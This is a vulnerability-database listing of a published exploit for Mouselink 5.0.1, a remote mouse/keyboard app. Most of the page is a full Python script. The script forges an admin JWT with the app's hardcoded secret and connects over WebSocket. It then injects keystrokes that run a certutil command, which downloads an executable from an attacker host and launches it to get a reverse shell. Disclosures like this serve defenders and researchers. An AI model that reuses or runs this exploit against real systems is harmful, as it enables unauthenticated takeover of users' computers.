Lucene search
K

📄 Mouselink 5.0.1 Unauthenticated Remote Code Execution

🗓️ 27 Jun 2025 00:00:00Reported by Chokri HammediType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 111 Views

Mouselink 5.0.1 enables unauthenticated remote code execution via a forged token with a hardcoded secret.

Code
# Exploit Title: Mouselink 5.0.1 - Unauthenticated Remote Code Execution
    # Date: 25/06/25
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://mouselink.app/
    # Software Link: https://blob.mouselink.app/mouselink-win-Setup.exe
    # Version: 5.0.1
    # Tested on: Windows 10
    
    '''
    Description:
    
    Mouselink 5.0.1 allows unauthenticated remote code execution due to
    improper JWT validation, enabling attackers to forge JWT tokens with a
    known hardcoded secret. Using the forged token, attackers can bypass
    authentication, connect to the WebSocket interface, and simulate keyboard
    input to execute arbitrary commands remotely, including payload delivery.
    This critical vulnerability leads to full system compromise without user
    interaction, even if a password is set.
    
    '''
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import base64
    import secrets
    import socket
    import time
    import struct
    import uuid
    import datetime
    import jwt
    from urllib.parse import quote
    
    SERVER_IP = "192.168.8.105"
    SERVER_PORT = 11521
    BASE_URL = f"http://{SERVER_IP}:{SERVER_PORT}"
    lhost = "192.168.8.100"
    payload = "shell.exe"
    
    def forge_jwt(username="admin", issuer="Server"):
    
        key = "gpdTeiQc5@DeU36NEh^8$zK2V!dJ2djTT9aK6gRouJpJ9n^aBYv3#5"
        payload = {
            "sub": username,
            "iss": issuer,
            "jti": str(uuid.uuid4()),
            "roles": "Administrator",
            "exp": datetime.datetime.utcnow() + datetime.timedelta(days=1)
        }
    
        token = jwt.encode(payload, key, algorithm="HS256")
        if isinstance(token, bytes):
            token = token.decode('utf-8')
        return token
    
    def get_device_info():
        try:
            requests.get(f"{BASE_URL}/api/device/info", params={"ip":
    "b088f72a.mouselink.local."}, timeout=2)
        except: pass
        try:
            requests.get(f"{BASE_URL}/api/device/info", params={"ip":
    SERVER_IP}, timeout=2)
        except: pass
    
    def negotiate_websocket(token):
        print("[*] Negotiating WebSocket connection...")
        response = requests.post(
            f"{BASE_URL}/mainhub/negotiate",
            params={"access_token": token, "negotiateVersion": "1"},
            headers={
                "User-Agent": "Dart/3.5 (dart:io)",
                "Content-Type": "text/plain;charset=UTF-8",
                "X-Requested-With": "FlutterHttpClient",
                "Accept-Encoding": "gzip",
                "Host": f"{SERVER_IP}:{SERVER_PORT}"
            },
            timeout=5
        )
        if response.status_code != 200:
            print(f"[-] Negotiation failed: {response.status_code}")
            return None
        return response.json()["connectionToken"]
    
    def create_websocket_frame(payload):
        payload_bytes = payload.encode('utf-8')
        header = bytearray([0b10000001])
        length = len(payload_bytes)
        if length < 126:
            header.append(0b10000000 | length)
        elif length < 65536:
            header.append(0b10000000 | 126)
            header.extend(struct.pack('>H', length))
        else:
            header.append(0b10000000 | 127)
            header.extend(struct.pack('>Q', length))
        mask_key = secrets.token_bytes(4)
        header.extend(mask_key)
        masked = bytearray(payload_bytes)
        for i in range(length):
            masked[i] ^= mask_key[i % 4]
        return header + masked
    
    def raw_websocket_handshake(token, conn_token):
        print("[*] Establishing WebSocket connection...")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((SERVER_IP, SERVER_PORT))
        key = base64.b64encode(secrets.token_bytes(16)).decode()
        request = (
            f"GET /mainhub?access_token={quote(token)}&id={conn_token}
    HTTP/1.1\r\n"
            f"Host: {SERVER_IP}:{SERVER_PORT}\r\n"
            "User-Agent: Dart/3.5 (dart:io)\r\n"
            "Connection: Upgrade\r\n"
            "Cache-Control: no-cache\r\n"
            "Accept-Encoding: gzip\r\n"
            "Sec-WebSocket-Version: 13\r\n"
            f"Sec-WebSocket-Key: {key}\r\n"
            "Sec-WebSocket-Extensions: permessage-deflate;
    client_max_window_bits\r\n"
            "Upgrade: websocket\r\n\r\n"
        )
        sock.send(request.encode())
        resp = b""
        while b"\r\n\r\n" not in resp:
            resp += sock.recv(1024)
        if b"101 Switching Protocols" not in resp:
            print("[-] WebSocket upgrade failed")
            sock.close()
            return None
        print("[+] WebSocket connection established")
        return sock
    
    def send_websocket_messages(sock):
        print("[*] Sending protocol handshake...")
        sock.send(create_websocket_frame('{"protocol":"json","version":1}\x1e'))
        time.sleep(0.5)
    
        print("[*] Sending Win+R...")
        shortcut = json.dumps({
            "type": 1,
            "headers": {},
            "invocationId": "1",
            "target": "KeyboardShortcut",
            "arguments": [[91, 82]],
            "streamIds": []
        }) + '\x1e'
        sock.send(create_websocket_frame(shortcut))
        time.sleep(1)
    
        command = f"cmd /c certutil -urlcache -split -f http://{lhost}/{payload}
    C:\\Windows\\Temp\\payload.exe & C:\\Windows\\Temp\\payload.exe"
        print(f"[*] Sending payload command...")
        keystroke = json.dumps({
            "type": 1,
            "headers": {},
            "invocationId": "0",
            "target": "KeyboardTextInput",
            "arguments": [command],
            "streamIds": []
        }) + '\x1e'
        sock.send(create_websocket_frame(keystroke))
        time.sleep(2)
    
        print("[*] Sending Enter key...")
        enter_key =
    json.dumps({"type":1,"headers":{},"invocationId":"2","target":"KeyboardClick","arguments":[0,13],"streamIds":[]})
    + '\x1e'
        sock.send(create_websocket_frame(enter_key))
        time.sleep(0.5)
    
        sock.close()
        print("[+] Commands sent successfully!")
    
    if __name__ == "__main__":
        print("[*] Starting JWT bypass attack...")
        get_device_info()
    
    
        jwt_token = forge_jwt("admin", "Server")
        print(f"[+] Using forged JWT: {jwt_token[:50]}...")
    
        conn_token = negotiate_websocket(jwt_token)
        if not conn_token:
            print("[-] Failed to negotiate WebSocket")
            exit(1)
    
        sock = raw_websocket_handshake(jwt_token, conn_token)
        if not sock:
            print("[-] Failed to establish WebSocket")
            exit(1)
    
        send_websocket_messages(sock)
        print("[+] Exploit completed. Check your listener for reverse shell.")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation